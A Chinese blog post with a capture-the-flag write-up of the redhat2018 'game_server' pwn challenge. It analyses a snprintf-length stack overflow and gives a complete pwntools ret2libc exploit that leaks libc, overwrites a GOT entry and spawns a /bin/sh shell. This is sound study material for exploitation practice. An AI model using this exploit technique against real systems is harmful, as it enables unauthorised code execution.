刷题刷题,考试暂告一段落。这篇博客主要记录redhat2018中的pwn题和reverse题的分析过程。reverse还没有训练,后期再补。
Pwn game server 0x00 file&checksec 1 2 3 4 5 6 7 8 9 $ file game_server game_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2edc9b459a64a0a5d698157da465036f722679e, stripped $ checksec game_server [*] '/home/.../pwn/redhat2018/game_server/game_server' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
通过file
命令可以看到这是一个32bit
的ELF,动态链接
,并且去除了符号表
。通过checksec
命令可以看到程序开启了NX
,所以一般需要用到ret2libc
.
0x01 IDA分析程序逻辑 1 2 3 4 5 6 7 8 9 int __cdecl main () { setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); sub_8048637(); puts ("Now you can start you game in middle earth" ); return 0 ; }
可以看到主函数里面只有一个自定义函数,逻辑一定在这里面了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int sub_8048637 () { char s; char v2; size_t nbytes; char *len; puts ("Welcome to my game server" ); puts ("First, you need to tell me you name?" ); fgets(name_buf, 256 , stdin ); len = strrchr (name_buf, '\n' ); if ( len ) *len = 0 ; printf ("Hello %s\n" , name_buf); puts ("What's you occupation?" ); fgets(occupation_buf, 256 , stdin ); len = strrchr (occupation_buf, '\n' ); if ( len ) *len = 0 ; printf ("Well, my noble %s\n" , occupation_buf); nbytes = snprintf ( &s, 256u , "Our %s is a noble %s. He is come from north and well change out would." , name_buf, occupation_buf); puts ("Here is you introduce" ); puts (&s); puts ("Do you want to edit you introduce by yourself?[Y/N]" ); v2 = getchar(); getchar(); if ( v2 == 'Y' ) read(0 , &s, nbytes); return printf ("name : %s\noccupation : %s\nintroduce : %s\n" , name_buf, occupation_buf, &s); }
我们可以看到,首先需要我们输入name
和occupation
信息,再往后看,可以看到snprintf()
函数,这是一个需要注意的点。先来看一下snprintf()函数的原型
1 2 3 4 5 6 7 8 9 10 11 12 ****************************snprintf ()原型******************************* 1. *str 这是存放结果字符串的字符数组指针2. size (1 )如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给 其后添加一个字符串结束符('\0' ); (2 )如果格式化后的字符串长度 >= size,则只将其中的(size-1 )个字符复制到 str中,并给其后添加一个字符串结束符('\0' ),返回值为欲写入的字符串长度。 3. *format 格式化字符串4. ... 参数的个数是不确定的5. 返回值 若成功则返回预写入的字符串长度,若出错则返回负值。6. 头文件 #include <stdio.h>************************************************************************* int snprintf (char *str, size_t size, const char *format, ...)
可以看到,此程序是将输入的name
和occupation
复制到字符数组s
中,但是返回值nbytes
得到的是实际输入的两个字符串长度和格式化字符串之和。后面又用到了read()
函数,显然在这里存在栈溢出
,可以控制程序运行流程。还可以看到s
数组的起始地址是bp-111h
,所以输入(bp-111h)+4
个字节数据就可以覆盖到返回地址。这里我们用puts()
函数泄露出puts()
的真实地址,通过计算偏移,算出system
的地址。/bin/sh
的地址可以用read()
读入bss段
,也可以直接利用libc
中的。我这里使用的是将system
地址覆盖到printf
的Got表
,并用read()
将/bin/sh
读入bss段
。显然有些麻烦,直接转到算出的system地址和/bin/sh地址比较方便,代码也少。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context.log_level = 'debug' if args['REMOTE' ]: Io = remote('127.0.0.1' ,10000 ) libc = ELF('libc6-i386_2.23-0ubuntu10_amd64.so' ) else : Io = process('./game_server' ) libc = ELF('libc6_2.23-0ubuntu10_i386.so' ) elf = ELF('./game_server' ) puts_plt = elf.plt['puts' ] print "puts_plt = " + hex(puts_plt)puts_got = elf.got['puts' ] print "puts_got = " + hex(puts_got)read_plt = elf.plt['read' ] print "read_plt = " + hex(read_plt)printf_got = elf.got['printf' ] print "printf_got = " + hex(printf_got)printf_plt = elf.plt['printf' ] print "printf_plt = " + hex(printf_plt)bss_base = elf.bss() print "bss_base = " + hex(bss_base)p_ebp_ret = 0x0804881b ppp_ret = 0x08048819 ret = 0xdeadbeef puts_offset = libc.symbols['puts' ] print "puts_offset = " + hex(puts_offset)system_offset = libc.symbols['system' ] print "system_offset = " + hex(system_offset)payload1 = 'a' *0xfc Io.recvuntil('First, you need to tell me you name?\n' ) Io.sendline(payload1) payload2 = 'b' *0xfc Io.recvuntil('What\'s you occupation?\n' ) Io.sendline(payload2) payload3 = 'Y' Io.recvuntil('Do you want to edit you introduce by yourself?[Y/N]\n' ) Io.sendline(payload3) payload4 = 'a' *0x111 + 'b' *4 payload4 += p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got) payload4 += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(printf_got) + p32(4 ) payload4 += p32(read_plt) + p32(ppp_ret) + p32(0 ) + p32(bss_base) + p32(8 ) payload4 += p32(printf_plt) + p32(ret) + p32(bss_base) Io.sendline(payload4) Io.recvuntil('\n' ) Io.recvuntil('\n' ) Io.recvuntil('\n' ) sleep(0.5 ) puts_addr = u32(Io.recv(4 )) print "puts_addr = " + hex(puts_addr)libc_base = puts_addr - puts_offset print "libc_base = " + hex(libc_base)system_addr = libc_base + system_offset print "system_addr = " + hex(system_addr)Io.send(p32(system_addr)) Io.send('/bin/sh\x00' ) Io.interactive()
Reverse